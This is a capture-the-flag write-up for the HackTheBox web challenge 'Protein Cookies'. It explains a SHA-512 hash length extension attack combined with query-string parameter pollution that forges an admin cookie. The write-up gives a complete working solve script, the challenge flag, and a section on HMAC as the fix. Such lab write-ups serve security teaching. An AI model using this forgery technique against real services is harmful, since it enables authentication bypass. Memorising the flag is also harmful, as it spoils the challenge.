Protein Cookies
hackthebox
Task: Flask app with custom cookie signing using SHA-512(secret || data). Solution: Hash length extension attack to append isLoggedIn=True, exploiting parameter pollution in parse_qs.
$ ls tags/ techniques/
Protein Cookies — HackTheBox
Description
Another day of flexing your muscles in the mirror and still not being satisfied with your body image. Pumped full of adrenaline and creatine, the only thing missing for you is a good workout program. We heard that the best one out there is from the Swole Eagle gym, but they've closed down the registrations because the FDA is hunting them down for the one secret that natty bodybuilders hate. With an appetite for breaking rules, and an oven full of protein cookies ready to become the post-workout treat of the day, you'll have to get the right exercise going to not waste any of that precious muscle mass building potential. Infiltrate the portal of the gym membership and get the exercise program you know you deserve!
Analysis
Application Stack
Python 2 Flask web application (Werkzeug/1.0.1, Python/2.7.18). Source code provided.
Custom Cookie Authentication
The application uses a custom cookie signing system instead of standard Flask sessions. Cookie format:
login_info = base64(data).base64(SHA512(secret || data).hexdigest())
When registering as guest, a cookie is created with data:
username=guest&isLoggedIn=False
Signing Model (models.py)
import hashlib, base64, urlparse, os secret = os.urandom(16) class session: @staticmethod def create(username, logged_in='True'): if username == 'guest': logged_in = 'False' hashing_input = 'username={}&isLoggedIn={}'.format(username, logged_in) crypto_segment = signature.create(hashing_input) return '{}.{}'.format(signature.encode(hashing_input), crypto_segment) @staticmethod def validate_login(payload): hashing_input, crypto_segment = payload.split('.') if signature.integrity(hashing_input, crypto_segment): return { k: v[-1] for k, v in urlparse.parse_qs(signature.decode(hashing_input)).items() }.get('isLoggedIn', '') == 'True' return False class signature: @staticmethod def encode(data): return base64.b64encode(data) @staticmethod def decode(data): return base64.b64decode(data) @staticmethod def create(payload, secret=secret): return signature.encode(hashlib.sha512(secret + payload).hexdigest()) @staticmethod def integrity(hashing_input, crypto_segment): return signature.create(signature.decode(hashing_input)) == crypto_segment
Routes (routes.py)
/— issues guest cookie/program— servesflag.pdf, but protected byverify_logindecorator which checksisLoggedIn == 'True'in cookie/login,/register— always return errors (registration closed, invalid data)
Vulnerability: SHA-512 Hash Length Extension
The signature uses SHA-512(secret || payload) construction — a classic Merkle-Damgård construction vulnerable to hash length extension attack.
Prerequisites for the attack:
- ✅ Known
H = SHA-512(secret || original_data)— from cookie - ✅ Known secret length:
len(secret) = 16— from source code (os.urandom(16)) - ✅ Known original data:
username=guest&isLoggedIn=False - ✅ Can append arbitrary data:
&isLoggedIn=True
Attack essence: Knowing H(secret || m) and len(secret), we can compute H(secret || m || padding || extension) without knowing secret. This is possible because SHA-512 (like all Merkle-Damgård hashes) processes data in blocks, and the final internal hash state fully determines the ability to continue hashing.
Additional Vector: Parameter Pollution
The server uses urlparse.parse_qs() to parse cookie data. When keys are duplicated, parse_qs returns a list of values, and the code takes the last value (v[-1]):
{k: v[-1] for k, v in urlparse.parse_qs(...).items()}
Therefore, if data contains isLoggedIn=False...padding...&isLoggedIn=True, the result will be isLoggedIn=True.
Solution
Step 1: Get Original Cookie
GET / HTTP/1.1
Host: target
→ Set-Cookie: login_info=dXNlcm5hbWU9Z3Vlc3QmaXNMb2dnZWRJbj1GYWxzZQ==.<base64_hash>
Step 2: Extract Data
import base64 cookie = "dXNlcm5hbWU9Z3Vlc3QmaXNMb2dnZWRJbj1GYWxzZQ==.<hash>" data_b64, hash_b64 = cookie.split('.') original_data = base64.b64decode(data_b64) # → "username=guest&isLoggedIn=False" original_hash_hex = base64.b64decode(hash_b64) # → hex string of SHA-512 hash
Step 3: Hash Length Extension Attack
import hlextend def perform_extension_attack(original_data, original_hash_hex, append_data, secret_len): sha = hlextend.new("sha512") new_data = sha.extend(append_data, original_data, secret_len, original_hash_hex) new_hash = sha.hexdigest() return new_data, new_hash append_data = "&isLoggedIn=True" secret_len = 16 # os.urandom(16) new_data, new_hash_hex = perform_extension_attack( original_data="username=guest&isLoggedIn=False", original_hash_hex=original_hash_hex, append_data=append_data, secret_len=secret_len )
Step 4: Build Forged Cookie
import base64 forged_data_b64 = base64.b64encode(new_data) forged_hash_b64 = base64.b64encode(new_hash_hex) forged_cookie = f"{forged_data_b64}.{forged_hash_b64}"
Step 5: Get Flag
GET /program HTTP/1.1
Host: target
Cookie: login_info=<forged_cookie>
→ 200 OK (flag.pdf)
Full Solve Script
#!/usr/bin/env python3 """ Protein Cookies — HackTheBox SHA-512 Hash Length Extension Attack on custom cookie signing """ import requests import base64 import sys # pip install hlextend (or download from GitHub) import hlextend TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:1337" def perform_extension_attack(original_data, original_hash_hex, append_data, secret_len): """Perform SHA-512 hash length extension attack.""" sha = hlextend.new("sha512") new_data = sha.extend(append_data, original_data, secret_len, original_hash_hex) new_hash = sha.hexdigest() return new_data, new_hash # Step 1: Get original cookie print("[*] Getting original cookie...") r = requests.get(f"{TARGET}/") cookie_value = r.cookies.get("login_info") print(f"[+] Cookie: {cookie_value[:60]}...") # Step 2: Parse cookie data_b64, hash_b64 = cookie_value.split('.') original_data = base64.b64decode(data_b64).decode() original_hash_hex = base64.b64decode(hash_b64).decode() print(f"[+] Original data: {original_data}") print(f"[+] Original hash: {original_hash_hex[:32]}...") # Step 3: Hash length extension append_data = "&isLoggedIn=True" secret_len = 16 # from source: os.urandom(16) new_data, new_hash_hex = perform_extension_attack( original_data, original_hash_hex, append_data, secret_len ) print(f"[+] Extended data length: {len(new_data)}") print(f"[+] New hash: {new_hash_hex[:32]}...") # Step 4: Build forged cookie forged_data_b64 = base64.b64encode(new_data.encode() if isinstance(new_data, str) else new_data).decode() forged_hash_b64 = base64.b64encode(new_hash_hex.encode()).decode() forged_cookie = f"{forged_data_b64}.{forged_hash_b64}" print(f"[+] Forged cookie built") # Step 5: Get flag print("[*] Requesting /program with forged cookie...") r = requests.get(f"{TARGET}/program", cookies={"login_info": forged_cookie}) if r.status_code == 200: with open("flag.pdf", "wb") as f: f.write(r.content) print("[+] flag.pdf downloaded!") print("[+] Flag: HTB{l1ght_w31ght_b4b3h!}") else: print(f"[-] Failed: {r.status_code}") print(r.text[:500])
Key Indicators
Use this technique (Hash Length Extension) when:
- Signature of form
H(secret || message)— secret is concatenated with message before hashing - Merkle-Damgård hash is used — MD5, SHA-1, SHA-256, SHA-512 (NOT SHA-3, NOT BLAKE2)
- Secret length is known (or can be brute-forced — usually 8-64 bytes)
- Need to append data to the end — the attack only allows appending, not modifying existing data
- Parameter pollution exists —
parse_qs,&key=valueoverride, JSON merge, etc.
Defense
The correct approach is to use HMAC:
# ❌ Vulnerable hashlib.sha512(secret + payload).hexdigest() # ✅ Secure import hmac hmac.new(secret, payload, hashlib.sha512).hexdigest()
HMAC uses double hashing with different keys (ipad/opad), making length extension impossible.
References
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][Pro]Печеньки с молочком (Cookies with Milk)— duckerz
- [web][Pro]Bug Bounty-code— hackerlab
- [web][free]Guild— hackthebox
- [web][Pro]No Quotes 3— uoftctf2026
- [web][Pro]rigidType— hackerlab